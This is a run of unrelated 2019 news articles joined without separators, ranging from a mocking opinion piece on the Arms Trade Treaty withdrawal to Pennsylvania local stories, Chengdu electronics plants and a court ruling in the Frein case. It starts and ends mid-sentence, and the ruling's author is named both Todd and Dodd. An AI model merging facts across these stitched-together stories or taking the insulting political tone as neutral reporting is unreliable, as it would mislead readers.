who cling to an amendment that former Justice of the Supreme Court John Paul Stevens characterized as a relic of the 18th century. Under my administration, we will never surrender American sovereignty to anyone, President Pumpkinhead told the adoring crowd of gun nuts, per The Hill. We will never allow foreign bureaucrats to trample on your Second Amendment freedoms. Continuing on like the Bruce Springsteen of awful people, Trump signed a document commanding the Senate to cease the ratification process and held the paper up as the crowd chanted USA, USA. He ended the bit by throwing his pen into the audience. Apparently Trump didnt inform NRA senior leadership about the announcement beforehand, bragging, I didnt even tell em about it. So theyre listening in this big room and theyre saying I wonder what hes going to do? The good thing with me: You never know. Is spontaneity really a good thing when youre the dude with the nuclear launch codes? Were thinking not. This is definitely a welcome surprise to the NRA, though, as the U.S. currently stands as the number one exporter of arms in the world (who would have thunk it?). Part of the reason Trump wanted to pull out of the treaty was concern about the US being held to a different trade standard than Russia and China, the second and third largest arms exporters, as they are not in the treaty. About 100 other countries, however, have both signed and ratified the agreement. Trumps foreign policy strategy seems to be that of a reality show contestant who declares Im not here to make friendsunless, of course, they are an authoritarian dictator of some kind. The president has already taken the U.S. out of the Paris climate accord and the Iran nuclear deal. The UN will receive a withdrawal letter from the Trump administration in the coming days, according to a senior White House official. They also claimed, The U.S. already has significant controls in place to regulate our arms transfers. Other countries do not. Sen. Bob Menendez (D-N.J.), a member of the Foreign Relations Committee, expressed worry that Trumps decision will turn back the clock on the little progress we have made to prevent illicit arms transfers and is only motivated by Republicans paralyzing fear of backlash from the NRA. The presidents action today is yet another mistaken step that threatens to make the world less safe, rather than more secure, Thomas Countryman, Obamas lead negotiator on the treaty, declared. President Donald Trump says the U.S. Did not pay USD 2 million in medical costs to North Korea in 2017 to get American college student Otto Warmbier released. Warmbier died shortly after he was flown home comatose after 17 months in captivity A former U.S. Official told The Associated Press on Thursday that a U.S. Envoy sent to retrieve Warmbier signed an agreement to pay the $2 million on Trump's instructions. The official spoke on condition of anonymity to discuss a sensitive diplomatic matter. The Washington Post first reported the demand. Trump insisted in a tweet Friday that "no money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else." North Korea denies accusations by Warmbier's relatives that it tortured him. Semiconductor giant Foxconn, that ranked 24th on the Fortune Global 500 list in 2018, is building a manufacturing base in southwestern Chinas Chengdu to produce wearable devices. The original Chinese report coined it "smartwear." Foxconns factory is on track to open in September, a city government spokesperson said even though the deal was only signed yesterday. If Foxconn were to get the contract for Apple's future Headset or smartglasses, for instance, the new plant is where they would be manufactured. And with Huawei working with South Korea's Gentle Monster fashion brand to introduce one of the first realistic looking smartglasses later this year, hopefully Apple won't be too late to the party. China sets up these economic zone's so that suppliers of a particular set of products are located in one Zone to make it easier to keep production of end-user products at maximum levels to meet demanding schedules. Foxconn's new smartwear base is expected to have an area of around a million square meters. The report notes that this isn't Foxconns first project in Chengdu. The company set up factories back in Chengdu in 2010 to produce tablets and personal computer components. In 2018, Foxconns Chengdu factories contributed a total revenue of over 100 billion yuan ($14.84 billion) to the company. While Foxconn is currently engaged in R&D and manufacturing of 3C products (Computer, Communication and Consumer electronics), China's next push is into wearable devices to expand growth. The report adds that "China's wearable device industry market prospects and investment strategy planning analysis report" pointed out that "in 2019, global smart device shipments will reach 136 million. After the smart phone, wearable smart devices are gradually becoming one of the next new growth areas." The project is aimed at the manufacture of smart wearable devices and will promote Chengdu's further participation in the global electronic information industry division of labor. The Zone will promote the transformation and upgrading of traditional manufacturing to intelligent manufacturing At present, Chengdu High-tech Zone has introduced major industrialization projects such as Foxconn, Intel, BOE, Texas Instruments, Shenzhen Tianma, Dell, Lenovo, etc., and gathered more than 30 Fortune 500 companies. In 2018, the output value of electronic information manufacturing in Chengdu High-tech Zone exceeded 300 billion yuan. Earlier today Patently Apple also learned that BOE is planning to start construction of its fourth 6th generation flexible OLED plant soon in Chengdu. It is hoping to secure monthly production capacity of 48,000 panels by investing $6.91 billion (7.9 trillion KRW). Although display market has been stagnant and demands for flexible OLEDs for Smartphones have not met initial expectation, BOE is being more aggressive in its investments and is speeding up the process of increasing its production capacity. BOE is a supplier of foldable OLED displays and Huawei's upcoming Mate X will use their displays. By investing into B15 plant, it has become certain that BOE will have the highest production capacity of 6th generation flexible OLED by surpassing Samsung Display. Currently, Samsung Display has monthly production capacity of 165,000 panels by combining production capacities from A3 and A4 plants. BOE will have monthly production capacity of 192,000 panels by 2023 when production capacities from its four plants are combined. Although there is still a big gap between Samsung Display and BOE when it comes to actual numbers of shipments, BOE has prepared a stepping stone that will allow it to quickly catch up to Samsung Display. Patently Apple reported on one of the first Rumors that BOE would enter Apple's supply chain began back in October 2017. The rumor panned out as BOE was listed on Apple's Official 2018 Supplier List (page 4). About Making Comments on our Site: Patently Apple reserves the right to post, dismiss or edit any comments. Those using abusive language or negative behavior will result in being blacklisted on Disqus. Racial hate and an illegal machine gun have caused the fall of a former Navy veteran, who is the son of a Pa. district magistrate. As WNEP-TV reports, John Jake Hasay, 22, of Benton, Columbia County, Pa., was sentenced Wednesday in federal court to 24 months in prison and two years of supervised release. The son of a former magistrate in Luzerne County pleaded guilty to illegally owning/possessing a machine gun last year. But the Navy vet got on the feds radar for the hate he was espousing online, according to the Southern Poverty Law Centers HateWatch site, which reports: In court records, federal prosecutors said Hasay had a written promise to commit a hate crime, ready access to illegally modified firearms and black-market firearm component dealers and reoccurring advancements of Nazi and white supremacist related ideologies. Federal authorities arrested him last August in Hunlock Creek, about 15 miles west of Wilkes-Barre. Hasay had served at Naval Station Great Lakes north of Chicago, the Navys only boot camp and the largest training station that branch of the service uses. After his arrest, Hasay was ordered by Federal Magistrate Judge Joseph F. Saporito Jr. to undergo a mental health screening and was committed to a psychiatric facility at the crisis unit at the Wilkes-Barre General Hospital. (Story continues below) A man from Columbia County who admitted to illegally owning a machine gun has been sentenced to prison. https://t.co/gbPy7tAfax WNEP (@WNEP) April 25, 2019 After gaining the attention of federal authorities for his online hate, investigators determined Hasay obtained a device used to convert semi-automatic handguns to fully automatic capabilities by smuggling it through U.S. Customs from Russia disguised as a motorcycle part, WNEP reported. Hasay also forfeited a number of other firearms seized during his arrest as part of the resolution of the federal case, WNEP adds. In 1975, before his children were born, John Bricker was a teacher at the Central Dauphin school district, looking for a way to contribute to his community. I was sitting at an assembly, and the head of the local March of Dimes gave a talk, Bricker said. Im sitting there and Im thinking, this was something that can help my community, maybe even helping my students, because in the future theyre probably going to be having kids. Bricker would have his own children far sooner - after raising $282 for his first March of Dimes in 1975, the newly married teacher would have his first son in 1976. That same year, he raised another $417 for another March of Dimes. After a few years, he had established a growing trend. I asked people I knew, my relatives, a couple of teachers I knew, Bricker said. The next big thing: $620 in 77. In 78, that was the first time I hit four digits, $1,336. November of 1978 saw the birth of two more children. Identical twins, Bricker said. One was healthy, no problems. But my son Gregory had a really bad heart. It did not form the way it was supposed to. At eight days old, Gregory was transferred to the Childrens Hospital of Philadelphia. Through his struggles, his father continued to raise money and participate in the March of Dimes, bringing in more money every year until 1981, when his fundraising was interrupted by the news that Gregory would need heart surgery. The first was a success, but a second surgery ended with a phone call ushering the Brickers to the hospital just prior to 2 a.m. July 28, 1982," Bricker said. Our son died at three years old. I knew going out there, it might not turn out the best way, he continued. "Were in the hotel. And you dont go back to sleep after your child dies. We got a flight at 11:40 [that morning], and my wife said, what are you going to to about raising money for the March of Dimes? Bricker decided then that he would raise more money that year than ever before. And then he would exceed that amount the following year, and again the next year and so on, increasing the amount raised every year. Over four decades later, Bricker said that Ive been able to keep that pledge so far." In 1992, Brickers fundraising exceeded five digits, totaling $10,320. In 2002, he was in the $20,000 range. In 2009, he exceeded $30,000. And hell be marching once again this coming Sunday, at the HACC Wildwood campus. This year so far, Ive raised a little more than $36,000, he said. Thats my best year ever. When PennLive last spoke to him, in 2014, he had raised a total of $542,000. Today, after 44 years of participation and fundraising, Bricker has personally raised a total of over $750,000 for the March of Dimes. But even after 44 years, and so much good done, the loss of Gregory still affects him. You would not wish it on your worst enemy, he said. It goes against ... I outlived my parents, Ive got a 50/50 chance of outliving my wife. Youre not supposed to outlive your children. [The fundraising is] all in memory of my son, and to keep other parents from going through what we went through. I like telling my story, because it helps keep my son alive, but sometimes its hard. This is my tribute to our son. Fortunately, medical advances - some funded and supported by March of Dimes - have progressed significantly over the past four decades. About four or five years ago, I was registering [for the March of Dimes], and a lady said, I know your story," Bricker said. 'My daughter was born with the exact same thing. Shes now 26.' Thats what keeps me going. Over 800 sponsors have contributed to Brickers fundraiser this year. Most of them are people he knows: he started by using his connections at Central Dauphin School District, asking friends, co-workers and associates. Nearly all of them are asked either in person or over the phone, rather than by email or social media. I like that personal contact," he said. Im not bashful about asking people. When I was still teaching, I had over 1000 sponsors. I start in January. Im very persistent. If you tell me no thats fine, but if you dont answer I keep calling you. Youre not going to get out without giving me an answer. After this interview is over, I have to ask you! Whatever you want to give. The majority of individuals give between $20 to $50. Some give at little as $5; Brickers cousin gave $2000. Some businesses give a few hundred dollars, and Bricker was approached by the Holy Rosary Association for a donation of $1000. But no matter how much they give, Bricker accepts with sincere gratitude. Over the years, the March of Dimes has shifted the scope of the walking that needs to be done: originally a 20 mile course was reduced to 20 kilometers. By today, the March of Dimes is a three mile walk, which is far easier for the 69 year old Bricker to accomplish. Years ago, in a similar interview, Bricker was asked, how long do you picture yourself doing this? I said until Im in my mid-50s, Bricker said. Now Im almost 70 and Im still doing it! Id like to do it as long as I can, because kids still need help. Birth defects, premature births, infant mortality - thats the three big things for the March of Dimes. So Im trying to do my share. Its a labor of love. Brickers fundraising campaign can be found at the March of Dimes website, with support going towards March For Babies. For more info, click here. Its not always easy to say goodbye to a favorite restaurant. So far this year, a handful of popular establishments have locked their doors in the Harrisburg region. Some closed abruptly, while others gave diners notice to stop in for one more meal. The closings ranged from chains to a longtime barbecue spot and a popular West Shore Chinese restaurant. Heres what has closed so far in 2019. Camp Curtin Bar-B-Que Station on North Sixth Street closed after it's final services at the end of March. Camp Curtin Bar-B-Que Station After 30 years the landmark barbecue restaurant in Harrisburg turned off the smokers in March. The restaurant at 2504 N. Sixth St. is scheduled to become a medical marijuana dispensary. On the final day of business, owner James Cooper was met with a mix of stalwart diners and some first-timers looking to get a final taste of his barbecue specialties. I havent had a bad thing from here, said Rob Sistrunk, a local. Just make sure you put down that its the greatest barbecue station ever in Harrisburg. In December, state officials announced that a permit was award to Arizona-based Harvest of South Central PA LLC, allowing the creation of a medical marijuana dispensary at 2500-2504 North Sixth Street. Camp Curtin Bar-B-Que Stations address is 2504 N. Sixth St. Built in 1910, the two-story building once served as the Camp Curtin Fire Station, according to the Historic Harrisburg Association. Dairy Queen in Lower Swatara Township has closed. Dairy Queen Dairy Queen Brazier in Lower Swatara Township closed at the end of February. The restaurant at 1100 Fulling Mill Road near Middletown locked its doors after the Pennsylvania Department of Agriculture deemed the establishment out of compliance following a restaurant inspection, said Shannon Powers, agency spokeswoman. The inspection was prompted by a change of ownership, she said. During the inspection on Feb. 25, Powers said an inspector found multiple new as well as repeat violations from before the restaurant had changed hands. The report indicates that among the violations, the restaurant had not renewed its retail food facility license and had continued to operate without a valid license. Word is the chain is in the process of bringing on new franchise owners. Two prospective owners were in the vetting process to possibly take over the business, according to the Press & Journal in Middletown. Brian Dmochowski, a territory operator for American Dairy Queen Corp., told the publication they intend on reopening the restaurant but at this point nothing has been signed. The former TGI Fridays restaurant on Union Deposit Road closed in February. TGI Fridays After nearly three decades in business, a TGI Fridays on the East Shore closed in February. The restaurant had operated at 3882 Union Deposit Road in Susquehanna Township at the Dauphin Plaza since 1991. A sign on the front door directs customers to the TGI Fridays restaurants in Mechanicsburg and Lancaster. Requests to the chains corporate office for more information about the closing had not been returned to PennLive. Ryans Buffet Ryans Buffet Restaurant in Hanover closed in February. Assets from the restaurant at 342 Eisenhower Drive in York County were part of a liquidation auction, according to the website Auction Nation. Bidding in the auction included kitchen equipment, tables, booths, high chairs, hostess signs and trays. The buffet was the last remaining Ryans restaurant in operation in Pennsylvania. It is owned by Ovation Brands, owner of other chains including Old Country Buffet restaurants. Chef Wong's Chinese Restaurant on East Trindle Road in Hampden Township closed on Jan. 1. Chef Wongs After 28 years, a well-known Chinese restaurant in Hampden Township closed on Jan. 1. Chef Wongs at 5001 E. Trindle Road locked its doors because its owners retired. The restaurant opened in 1991 and in the early years was the go-to spot for traditional Chinese American dishes such as egg rolls, wonton soup, chicken with broccoli and crispy duck. It was in business long before the arrival of mega Chinese buffets and the dozens of sushi places and Vietnamese pho soup spots that now operate in central Pa. and beyond. The Sonic Drive-In on Linglestown Road, Susquehanna Township, has closed. It was not known as of Saturday morning why the restaurant closed. Sonic Drive-In Sonic Drive-In in Susquehanna Township abruptly closed at the end of March. Sonics corporate office provided only a little insight into the closing of the restaurant at 2330 Linglestown Road. In a statement provided to PennLive, Sonic said: The franchisee who owns and operates this location has made the difficult decision to permanently close the drive-in on March 26, 2019. We appreciate the communitys support of the drive-in since its opening in 2009. In the meantime, LMS Commercial Real Estate has listed the 1,500 square-foot pad site where Sonic operated as available to lease. Boo Boos Barbecue The on-again, off-again barbecue restaurant at 912 N. Third St. in Harrisburg is closed again at the end of March. Owner Litho Ware said in a Facebook post hes selling the restaurant. It originally opened last year and then closed temporarily in the summer for a few months. By fall, Ware had brought on a new management team, Titus and Anya Queen, to oversee the daily operations. In the end, Boo-Boos failed to succeed. In his Facebook post, Ware blames landlord issues, among other reasons. Its National Pretzel Day. That means well be celebrating one of Pennsylvanias favorite snacks. The food holiday is celebrated annually on April 26 and honors the twisted, doughy snack. It was created in 1983 when then-Rep. Robert Walker of Lancaster County declared his favorite food deserved its own day. In April 2003, then-Governor Ed Rendell made it official when he re-declared the commemorative day as National Pretzel Day to honor pretzels in Pennsylvania. After all, whats better than a golden, salty pretzel with mustard? Now that weve made you hungry, here are two deals you can find: Auntie Annes: Customers can purchase a pretzel from the nations largest pretzel chain from April 26-28 and receive a free original or cinnamon sugar pretzel. The offer is available to those who have access to the companys website (where youll find a special code) and added to Pretzel Perks app user accounts. In addition, you can purchase an Auntie Annes pretzel-inspired shower curtain. Philly Soft Pretzels: The chain is giving away free soft pretzels at its stores all day with no purchase necessary. You also can play a promotional scratch and win game for a chance to win a trip to Dreams Resort & Spa. While Pennsylvania is home to 80 percent of the nations pretzel production, were excited to share our soft pretzels, baked fresh in-store every day of the year, beyond the states borders. This year were reaching 16 states with our National Pretzel Day promotion, said president Marty Ferrill. The chain operates 170 locations. BALTIMORE When agents in FBI windbreakers show up early in the morning to search your house and office, its never good. But for Mayor Catherine Pugh, whose homes and City Hall office were raided Thursday morning, the fact that federal agencies are investigating her adds to what attorneys say already was considerable legal and political peril. Shes in a terrible spot, said Arnold M. Weiner, the lawyer who defended a previous mayor, Sheila Dixon, against charges of theft, perjury and misconduct in office. There arent any moves she can make at this point, he said. Whats going to happen after theyve done these raids, there will be a whole bunch of grand jury subpoenas, theyll subpoena for records they didnt get from the search warrant, and theyll talk to witnesses. This could last six months to a year. Pugh already was being investigated by the state prosecutors office for selling her self-published Healthy Holly childrens books to groups and individuals with business before the city and state. The raids signal that federal investigators now also are scrutinizing her dealings, he said. The books might just be a shiny object, he said. My guess is theres something bigger. Lawyers said federal agencies likely are looking for possible tax violations, such as whether she reported income from the books. And indeed, among the agents who descended on seven locations in Baltimore associated with Pugh including her former campaign treasurers office, an aides apartment and a nonprofit job training center that she once led were some wearing Internal Revenue Service jackets. When money is involved, there is potential for tax crimes, said David Jaros, a University of Baltimore Law School professor. And theyre easier to prove. Steven H. Levin, a former federal prosecutor, cautioned that the raids are investigatory tools, and Pugh has not been charged with anything. Nothing can come of this, he said. Sometimes these investigations dont yield anything. Still, for investigators to get a search warrant in the first place, they have to present evidence under oath that they have reason to believe a violation took place, Levin said. What we can take from this is agents developed what they considered probable cause of a criminal tax violation, he said. Levin said the state and federal investigations could run on parallel courses, with the former perhaps investigating conflicts of interest and the latter looking at tax issues. With calls for Pugh to resign growing even louder after the Thursday raids, attorneys said she might face limited options going forward. Its easier to make a deal with state than federal prosecutors, Weiner said. And Pugh might not have much to bargain with at this point, he said. Pugh took a paid medical leave of absence April 1, as the Healthy Holly scandal grew. Since then, City Council President Bernard C. Jack Young has been acting mayor. Hes fired three of Pughs aides and put another three on paid leave. The City Council and the Greater Baltimore Committee, an influential business and civic group, are among those who have called for her to resign an increasingly loud chorus that was joined Thursday by Gov. Larry Hogan, who said after the raids that she has lost the public trust and is not fit to lead. When Dixon was indicted in 2009, after a yearslong investigation into City Hall corruption, she remained in office throughout the trial. Weiner said he was able to negotiate an exit for Dixon because a major part of the case against her, theft charges stemming from gifts she received from a developer and onetime boyfriend, had been dismissed during trial. She ultimately pleaded guilty to embezzlement of gift cards meant for the poor, resigned from the mayors office and kept her $83,000-a-year pension. How much power Pugh has is a matter of dispute among attorneys, with some saying if she decided to resign rather than drag the city through further upheaval and uncertainty, prosecutors might be more lenient, or at least view the case differently once the target is a private citizen rather than a sitting mayor. Other lawyers, though, said that as long as Pugh remains in office, she wields some power. I wouldnt give up any carrot I could offer to the state, Jaros said. Her best leverage is her position as mayor, Levin agreed. If she were to resign now, she loses that leverage. By Jean Marbella, The Baltimore Sun (TNS) Designer Cecile Reinaud tells Ayushi Sharma that there is a huge demand for maternity fashion on a global level from what it used to be a few years ago. It started in America, trickled into Europe and it has now reached India Frumpy, loose, unbecoming and not in the least stylish these are some words that are associated with maternity fashion. However, pregnancy doesnt have to mean dressing up in sacks or its closest equivalent. Celebrities like Kareena Kapoor Khan and Beyonce amping up the fashion quotient during pregnancy has ensured that there is no flagging in the social pressure to look good even during this time. Its true that fashioning clothes for a changing body is a daunting task but designer Cecile Reinaud apprises us that there is a huge demand for maternity fashion on a global level compared to what it used to be a few years back. It started in America, trickled into Europe and it has now reached India, a nation that has spread its arms wide to welcome this niche segment. The consumers demand something comfortable yet fashionable, so it will definitely flourish exponentially in the coming years. Just like traditional fashion, many trends exist in maternity garments as well. She notes that denim wear is extremely popular because most women love to dress up their closet with the fabric. From skinny jeans to denim dresses and shirts, this is a favourite across the globe. The other trend is floral prints from pale pinks to light blues, these never go out of fashion. It is not just the safest to follow but also a classy style to adopt during that phase. There has been a substantial change in the way expectant mothers live their lives as compared to yesteryears. This sensibility too has to be blended into designs. She says that women are educated, well-travelled and they believe in being always on point. The same attitude can be seen even when they are pregnant. Every woman wants to look stylish and elegant no matter whether it is in office or at a party a bump doesnt deter them. Since, it is a new chapter in a womans life, nothing should detract them from enjoying it to the fullest. The designs are created keeping in mind the modern womans desire to look chic everyday and also be able to re-use these apparel post-pregnancy. Dressing in the way you like can keep you positive, happy and comfortable, even as you face this big change in life. Fancy maternity outfit is becoming a necessity as compared to the past, especially in India. She says that women in metros have a career and they want to look smart and sophisticated as they head out. In a professional space, if you dont dress up well, people dont take you seriously, especially with a big belly. It becomes even more important to dress sharp to show you are on top of things. This phenomenon started 15 years ago in the UK and now has gained prominence among the new generation of Indian women who are career-driven. With the advent of the social media, women take inspiration from the way celebs and influencers dress up, regardless of the situation or their phase of life. This has driven the demand for more comfortable clothes for every stage of a womans life, including pregnancy, adds Cecile, who has also designed outfits for many royals including the future queen of England, Kate Middleton. She believes that the maternity fashion scene in India is not very different as compared to other countries. However, Cecile further adds, Indian women like to dress up more modestly, so they avoid low cut V necks. They are more comfortable with sleeves attached to their dresses and tops. Weather too plays a role. It is hot most of the months in the country so we look for fabrics that are light and that will keep you cool, while making you feel adequately covered and elegant. (The designer is also the founder and the managing director of Seraphine.) Its like Sleeping Beauty with a dose of nightmare fuel: A flat-bodied, six-legged insect moves toward you as you slumber, bound for the blood that surges around your eyes and lips. It crawls on your face. And the poop it leaves behind can be deadly. The triatomine bug, also known as the notorious "kissing bug," has been an obscure threat in the United States, with the highest density in Latin America and some Western states. But the insect has marched north, and health officials in Delaware recently confirmed their first run-in with Triatoma sanguisuga one of 11 species documented in 28 states, according to researchers at Texas A&M University. The bugs have previously carved out territory from California to the Carolinas. A kissing bug in Delaware bit and sucked the blood from a girl's face in July 2018, a state health official wrote. Subsequent research confirmed the species, but scientists found no traces of Chagas, the disease carried by kissing bugs. Immediate Chagas infection can cause fever, rash, loss of appetite, diarrhea, and vomiting, researchers have said, but the danger comes from potential chronic infection targeting the heart and gastrointestinal tract. About 300,000 U.S. residents have Chagas, the CDC said, and they mostly contracted the disease in Latin America. About 30 percent of people who contract Chagas are at risk of heart failure and cardiac arrest, which is a growing concern for the American Heart Association. The disease is an "important cause of heart failure, stroke, arrhythmia, and sudden death," according to a 2018 statement commissioned by the group. The prevalence is growing outside endemic areas throughout Latin America, said the statement, which was commissioned alongside the Inter-American Society of Cardiology. About 8 million people in Mexico, Central and South America are living with Chagas, the CDC said. Health officials have cautioned that Chagas is difficult to contract from kissing bugs despite their vectoring ability, and it comes down to their feces. Kissing bugs can pass along parasites after defecating at the area of their bite, making it a gross but rare combination that must happen before an infection occurs. Chagas can also be contracted through blood transfusions and organ transplants, researchers have said. (c) 2019, The Washington Post Alex Horton Just seven years after Pennsylvania experienced the partial nuclear meltdown at TMI, an accident at the Chernobyl nuclear plant in Ukraine became the worst nuclear accident to date. According to history.com, experts believe thousands of people died as a result and as many as 70,000 were poisoned. And, the land around it will not be livable for 150 years. An aerial view of the Chernobyl nuclear power plant, the site of the world's worst nuclear accident, is seen in April 1986, made two to three days after the explosion in Chernobyl, Ukraine. In front of the chimney is the destroyed fourth reactor. (AP Photo)AP The 18-mile radius around Chernobyl was home to almost 150,000 people who had to be permanently relocated, according to history.com. It was determined after the accident on April 26, 1986, that workers had been performing tests on the system. In order to that, they had shut down the emergency safety and cooling systems. When signs of overheating began to appear, the workers did not stop the tests. A buildup of xenon gasses caused an explosion at 1:23 a.m. Two more explosions resulted in the 1,000-ton steel top of the reactor being blown off. A girl plays next to a memorial to Chernobyl victims in Kiev, on April 26, 2018, during a ceremony marking the 32d anniversary of the Chernobyl world's worst nuclear disaster. - The accident spread radioactive fallout across Europe in 1986, particularly contaminating Ukraine, Russia and Belarus. About 600,000 Soviet citizens who became known as "liquidators" -- mostly emergency workers and state employees -- were dispatched with little or no protective gear to help clean up and build a concrete sarcophagus over the damaged reactor. (Sergei Supinsky/AFP/Getty Images)AFP/Getty Images A huge fireball erupted into the sky. Flames shot 1,000 feet into the air for two days, as the entire reactor began to melt down. Radioactive material was thrown into the air like fireworks. Although firefighting was futile, Pripyats 40,000 people were not evacuated until 36 hours after the explosion. Potentially lethal rain fell as the fires continued for eight days, according to history.com. These are the front pages of four British morning newspapers reflecting the nuclear accident at the Chernobyl nuclear power plant in the Ukraine, Soviet Union. (AP Photo)ASSOCIATED PRESS Almost two weeks after the accident, the reactor was encased in concrete. It was later confirmed that 200 people were directly exposed at the plant and 31 of those had died immediately. The clean-up effort and the general radioactive exposure in the region, however, would prove to be even more deadly. Some reports estimate that as many as 4,000 clean-up workers died from radiation poisoning. Birth defects among people living in the area have increased dramatically. Thyroid cancer has increased tenfold in Ukraine since the accident, according to history.com. Gemma Moats was reported missing early Thursday morning, but was found within a mile of her Franklin County home hours later. State police later determined the 4-year-old girl was abducted, and are working to determine who abducted her. Troopers were dispatched at 3:30 a.m. Thursday to the 12000 block of Pen Mar Road in Washington Township for a report of a missing child. Crews immediately began searching the area for her. Those involved in the search included several fire departments, EMS, Army National Guard, and other volunteers. Trooper Megan Frazer explained in an email Friday that at the beginning of the investigation, troopers were working to determine whether Moats left the residence on her own or if she was abducted. Because troopers were initially not sure of the circumstances surrounding her disappearance, an Amber Alert was not issued. We did not have enough information until she was located to say that she was abducted, thus prompting an Amber Alert, Frazer wrote. Over three hours later, Moats was found at around 10 a.m. by a passerby in the 14000 block of Harbaugh Church Road. That is about 2.5 miles away from where she was taken, according to state police. Moats was taken to Waynesboro Hospital for a medical evaluation, and state police say she was found to be in good health. There were no indications that Moats was harmed, Frazer wrote. Through the course of the investigation, state police learned Moats was taken from her residence by someone. Franklin County Children and Youth Services is coordinating the safety plan for the child, Frazer wrote. Interviews are being conducted today and the Pennsylvania State Police is following up on tips received. Anyone with information, or who may have traveled in the area of the 14000 block of Harbuagh Church Road before 10 a.m. Thursday, is asked to contact the Pennsylvania State Police station in Chambersburg at 717-264-5161. Bashar Hanna, the president of Bloomsburg University, was twice pushed out of other Pennsylvania universities over allegations he mistreated employees, especially women, the Philadelphia Inquirer is reporting. According to the report, board members who approved hiring him in 2017 werent told of confidential departure agreements, which experts said would have raised red flags. Bloomsburg University is located about 80 miles north of Harrisburg in Columbia County. The Inquirer said it based its report on information including settlement documents and interviews with more than a dozen former co-workers who said Hanna, 52, bullied staff and was often hostile to woman. The Inquirer also interviewed women who characterized Hanna as a good administrator and valued mentor and who believe he became a target because the had high standards and held people accountable. The report includes an account from his Bloomsburg executive assistant who said Hanna called her dear and kissed her on the forehead behind the closed door of his office. The Inquirer interviewed Hanna, who said he was unaware of some of the complaints against him, and characterized some criticisms as push back against a change agent. Two men from Cuba have been held in immigration detention in York County Prison for more than a year, despite a federal court ruling that says ICE officials in Pennsylvania were wrongly denying requests for release. Abel Perez, 27, and Pablo Alvarez, 26, say they they fled political persecution in the island nation about 90 miles from Florida. Shortly after presenting themselves at the U.S.-Mexico border in late 2017, they were transferred to York. Their cases illustrate how Cubans favorable treatment in the U.S. immigration system, a vestige of the Cold War, collides with tightening regulations around migration to this country. We came to this great country fleeing the oppression and persecutions Cubans suffer at the hands of the established dictatorship, wrote Perez and Alvarez in a statement shared by their attorneys. We dont believe its been fair to have been detained for 16 months, when the only crime we have committed, if you can call it that, is to have arrived at the southern border asking for asylum. Just the luck of the draw Cubans in the United States continue to enjoy a relatively easy path to citizenship through the Cuban Adjustment Act of 1966. Under that law, Cuban nationals lawfully present for one year can apply for a green card. However, since early 2017, the neck of the funnel into the U.S. has tightened for many immigrants. In January of that year, President Barack Obama ended the wet-foot, dry-foot policy, which had granted any Cubans who reached American soil permission to stay. The Trump administration also reversed some of Obamas efforts to improve relations with the countrys communist government, and just this month slapped new sanctions on Cuba. The economic picture in Cuba is dismal, the relationship with the U.S. is getting worse by the minute, said attorney and University of Miami lecturer Pedro Freyre, an expert on Cuban-American relations. Against this backdrop, more Cubans are following migrant routes through Central America and Mexico to petition for entry at the U.S. border. Thats what Perez and Alvarez did. In December 2017, they requested asylum at the Port of Entry in Laredo, Texas. Shortly thereafter, by no fault of their own, just the luck of the draw, [they were] sent to York County Prison, said Carrie Carranza, an immigration legal defense advocate with the group Church World Service in Lancaster. They happened to be transferred at the exact time that a judge would later rule ICE leadership in Pennsylvania had been unlawfully detaining asylum seekers. Both Perez and Alvarez passed whats called a credible fear interview, the first test in claiming legal status in the U.S. because an immigrant fears returning to their home county. Normally, that would prompt ICE to evaluate whether or not Perez and Alvarez needed to stay in detention. In July 2018, U.S. District Court judge James E. Boasberg ruled that Philadelphias ICE Field of Office, along with four others, had been failing to do those individual evaluations, and was instead detaining asylum seekers at near-automatic rates, in violation of its own policies. He ordered them to stop. After that federal court decision, a half-dozen Cuban migrants who had been held at York were released, according to immigration attorney Brennan Gian-Grasso but not Alvarez and Perez. ICE officials later explained the agency had classified them as flight risks. Gian-Grasso said the only difference between those released and those detained was the type of relative sponsoring them a sibling, versus an aunt or cousin. Families in limbo Perez and Alvarezs family members say they are now left in the lurch, wondering what will happen. The plan was that he was going to come live with me, said Norlys Grillo Alvarez, Pablo Alvarezs aunt. She lives in Bradenton, Florida and is a U.S. citizen. Alvarez was targeted for doing construction work for a member of the protest group Las Damas de Blanco in Cuba, and has been jailed by the Cuban government, according to Grillo Alvarez. Its impossible living in Cuba You cant express anything. If you say anything, they punish you, she said. Perez was a pilot in Cuba, but refused to fly for the military, earning him the ire of the communist government, according to Gian-Grasso. His cousin, Lissette Barquin Borges, came to the United States in the 1970s and planned to sponsor him financially, so that one day he could get a pilots license in this country. I feel like he could be a companion for me, like the son that I never had, said Barquin Borges, who has two daughters. During their time in detention, Alvarez and Perez also suffered setbacks in their asylum cases. Both received denials and have appealed. Had they been released when they were first eligible, that case would now be irrelevant, said Carranza. If they were granted parole, they would likely have green cards by now, she said. Instead, they face deportation. Church World Service has taken up their cause, asking ICE to take a second look at their requests for parole. ICE has not yet provided comment for this story. Calling the evidence against him overwhelming, the Pennsylvania Supreme Court on Friday upheld the death sentenced against convicted cop killer Eric Matthew Frein. The high courts decision, penned by Justice Debra Todd, comes nearly two years to the day after a Pike County judge imposed that ultimate penalty on Frein for the Sept. 12, 2014 ambush murder of state police Corporal Byron K. Dickson outside the Blooming Grove police barracks. Freins death sentence must stand even though errors were made during his April 2017 trial for the slaying of Dickson and the wounding of Trooper Alex Douglass in a sniper attack, Todd concluded. County Judge Gregory Chelak should not have allowed prosecutors to play videotape of Freins interrogation by police after his capture following a nearly six-week manhunt, the justice found. Frein clearly invoked his right to remain silent, but troopers kept questioning him anyway, she concluded. She concluded as well that prosecutors exceeded legal parameters when they introduced a legion of emotionally-charged testimony and evidence during the penalty phase of Freins trial where the jury deliberated whether a death sentence was warranted. Neither error made a difference to the outcome of the case, however, given the mass of evidence compiled against Frein, Dodd ruled. The commonwealth provided at trial expert testimony that the bullets that fatally wounded Corporal Dickson were fired from a Norinco rifle which belonged to (Frein) and which was later recovered from the airplane hangar where (Frein) had been hiding following the shooting. Indeed, upon his capture, (Frein) directed police to the location of the rifle, Dodd wrote. Freins DNA was on the rifle, she added. Evidence also was presented that in the weeks before the ambush Frein had conducted internet searches for possible targets, including the Blooming Grove police barracks and response procedures for when officers are shot, the justice wrote. All that evidence clearly demonstrates that (Frein), acting with malice and the specific intent to kill, caused the death of Corporal Dickson, Dodd found. That conclusion stands even though two troopers should have stopped questioning Frein immediately after he unambiguously invoked his right to remain silent and said he wanted to speak with a lawyer, she concluded. At one point, Dodd noted, Frein asked the troopers, Youre both fathers, right? When the officers said they were, Frein said, There was a father that didnt come home. The troopers asked Frein if he knew 